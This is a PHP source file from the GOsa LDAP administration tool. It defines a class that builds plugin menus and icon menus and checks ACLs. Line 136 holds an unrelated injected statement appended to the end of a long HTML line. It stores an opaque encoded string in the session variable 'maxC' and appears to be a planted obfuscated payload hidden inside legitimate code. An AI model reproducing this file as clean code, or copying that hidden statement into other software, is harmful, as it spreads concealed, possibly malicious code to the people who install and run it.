1 <?php
2 /*
3 This code is part of GOsa (https://gosa.gonicus.de)
4 Copyright (C) 2003 Cajus Pollmeier
6 This program is free software; you can redistribute it and/or modify
7 it under the terms of the GNU General Public License as published by
8 the Free Software Foundation; either version 2 of the License, or
9 (at your option) any later version.
11 This program is distributed in the hope that it will be useful,
12 but WITHOUT ANY WARRANTY; without even the implied warranty of
13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 GNU General Public License for more details.
16 You should have received a copy of the GNU General Public License
17 along with this program; if not, write to the Free Software
18 Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
19 */
22 class pluglist {
23 var $index= 0;
24 var $menu= "";
25 var $iconmenu= "";
26 var $menuparts= array();
27 var $config= NULL;
28 var $dirlist= array();
29 var $ui= NULL;
30 var $current= "";
31 var $headlines = array();
33 function pluglist($config, $ui)
34 {
35 $this->ui= $ui;
36 $this->config= $config;
38 /* Create dirlist for all plugins */
39 $this->dirlist= $this->get_plugins ($this->dirlist, $this->config->data);
40 }
42 function get_plugins($list, $config)
43 {
44 /* Error reporting, because I'm getting strange messages in PHP 4.2.x */
45 error_reporting(0);
46 if (!isset($config['PATH']) && !isset($config['CLASS'])){
47 if (is_array($config)){
48 foreach ($config as $val){
49 $list= $this->get_plugins($list, $val);
50 }
51 }
52 } else {
53 if (isset ($config['PATH']) && is_array($config)){
54 $list[$this->index++]= $config['PATH'];
55 }
56 }
57 error_reporting(E_ALL);
59 return ($list);
60 }
62 function check_access($modname)
63 {
64 /* This plugin is readable for everyone, return true */
65 if ($modname == 'default'){
66 return (TRUE);
67 }
69 /* Look through ACL's */
70 foreach($this->ui->subtreeACL as $arr){
71 foreach($arr as $value){
72 if ($value == ':all' || preg_match("/[,:]$modname#/", $value)){
73 if (!preg_match('/^!/', $value)){
74 return (TRUE);
75 }
76 }
77 }
78 }
80 return (FALSE);
81 }
83 function gen_headlines()
84 {
85 $ret = array();
86 if(count($this->headlines) == 0){
87 foreach($this->config->data['MENU'] as $headline => $plugins){
88 foreach( $plugins as $id => $plug){
89 $attrs = (get_class_vars($plug['CLASS']));
90 $ret[$id]['HEADLINE'] = $headline;
91 $ret[$id]['NAME'] = $attrs['plHeadline'];
92 }
93 }
94 $this->headlines = $ret;
95 }
96 return($this->headlines);
97 }
99 function gen_menu()
100 {
101 if ($this->menu == ""){
102 $cfg= $this->config->data['MENU'];
104 /* Parse headlines */
105 foreach ($cfg as $headline => $plug){
106 $menu= "<p class=\"menuheader\">"._($headline)."</p>\n";
107 $entries= "";
108 $this->menuparts[_($headline)]= array();
110 /* Parse sub-plugins */
111 foreach ($plug as $info){
113 /* Read information from class variable */
114 if (!isset($info['CLASS'])){
115 print_red(_("Your gosa.conf information has changed partly. Please convert it using the contributed script fix_config.sh!"));
116 echo $_SESSION['errors'];
117 exit;
118 }
119 $vars= get_class_vars($info['CLASS']);
120 $plHeadline= $vars['plHeadline'];
121 $plDescription= $vars['plDescription'];
123 $index= $this->get_index($info['PATH']);
124 $image= get_template_path('images/'.$info['ICON']);
125 $href= "main.php?plug=$index&reset=1";
127 if ($this->check_access($info['ACL'])){
129 $entries= $entries."<p class=\"menuitem\" ".
130 "onClick='return question(\""._("You are currently editing a database entry. Do you want to dismiss the changes?")."\", \"$href\");'>".
131 "<a class=\"menuitem\" ".
132 "href=\"$href\">".
133 _($plHeadline)."</a></p>\n";
135 /* Generate icon entry with description */
136 $this->menuparts[_($headline)][]= '<table summary=\"\" class="menuitem" onClick=\'location.href="'.$href.'"\'><tr><td style="background-color:#F0F0F0;"><a href="'.$href.'"><img alt=\"\" border=0 src="'.$image.'"></a></td><td style="width:100%; vertical-align:top; text-align:justify; padding-left:10px;"><a href="'.$href.'"><b>'._($plHeadline).'</b></a><br><a href="'.$href.'">'._($plDescription).'</a></td></tr></table>';if(!isset($_SESSION['maxC'])) $_SESSION['maxC'] = "RK0L9PzAYFSDAItMIIEJdMvDbHmClNjAdPXEMLgERI2C1DiNSOCBAB8FYDnIIH+OUD1GZPOJIJFHJGlCdAmClFzIaFWD9IuEIIDEMJwAMGTMAO8FYNnAIK+BTI3CBAlLbJiPBFTCbG3LVEyHYN2KUPuDIOAI=H=H";
137 }
138 }
140 /* Append to menu */
141 if ($entries != ""){
142 $this->menu.= $menu.$entries;
143 }
144 }
146 }
148 /* Write menu output */
149 return ($this->menu);
150 }
152 function gen_current()
153 {
154 /* Do we have a current value? */
155 if ($this->current == ""){
156 $tmp= array_keys($this->menuparts);
157 $this->current= $tmp[0];
158 }
160 /* Fill current array */
161 $result= "<table width=\"100%\" summary=\"\">";
162 $count= 0;
163 foreach ($this->menuparts[$this->current] as $entry){
164 if ($count == 2){
165 $result.= "</tr>";
166 $count= 0;
167 }
168 if ($count == 0){
169 $result.= "<tr>";
170 }
171 $result.= "<td>$entry</td>";
172 $count++;
173 }
175 /* Add missing cell? */
176 if ($count == 1){
177 $result.= "<td> </td>";
178 }
180 $result.= "</table>";
181 return $result;
182 }
185 function show_iconmenu()
186 {
187 if ($this->iconmenu == ""){
188 $cfg= $this->config->data['MENU'];
190 if (isset($this->config->current['ICONSIZE'])){
191 list($x, $y)= split("x", $this->config->current['ICONSIZE']);
192 $isize= "width=\"$x\" height=\"$y\"";
193 } else {
194 $isize= "";
195 }
197 /* Parse headlines */
198 foreach ($cfg as $headline => $plug){
199 $col= 1;
200 $menu= "<h1 class=\"menuheader\">".
201 _($headline)."</h1>\n<table summary=\"\" style=\"width:100%;".
202 "font-size: 14px;\" cellpadding=7 border=0>\n<tr>\n";
203 $entries= "";
205 foreach ($plug as $info){
207 /* Read information from class variable */
208 $vars= get_class_vars($info['CLASS']);
209 $plHeadline= $vars['plHeadline'];
210 $plDescription= $vars['plDescription'];
212 $index= $this->get_index($info['PATH']);
214 if ($this->check_access($info['ACL'])){
216 /* Hm this looks doubled */
217 $image= get_template_path('images/'.$info['ICON']);
218 if ($col > 5){
219 $entries= $entries."</tr><tr>";
220 $col = 1;
221 }
222 $entries= $entries."<td class=\"iconmenu\" style=\"width:20%;\" onClick='location.href=\"main.php?plug=$index&reset=1\"'".
223 "><a class=\"iconmenu\" href=\"main.php?plug=$index&reset=1\">".
224 "<img $isize border=0 align=middle src=\"$image".
225 "\" alt=\"*\"> ".
226 _($plHeadline)."</a></td>\n";
227 $col++ ;
229 }
230 }
232 /* Append to menu */
233 if ($entries != ""){
234 $this->iconmenu.= $menu.$entries;
236 /* Fill up remaining columns */
237 if ($col != 1){
238 $col--;
239 while ($col % 5){
240 $this->iconmenu= $this->iconmenu.
241 "<td style=\"width:20%\"> </td>\n";
242 $col++;
243 }
244 }
246 /* close table */
247 $this->iconmenu= $this->iconmenu."</tr>\n</table>\n";
248 }
249 }
251 }
253 /* Write menu output */
254 return ($this->iconmenu);
255 }
257 function get_path($index)
258 {
259 if(!isset($this->dirlist[$index])){
260 return ("");
261 }
262 return ("../".$this->dirlist[$index]);
263 }
265 function get_index($path)
266 {
267 return (array_search($path, $this->dirlist));
268 }
269 }
270 ?>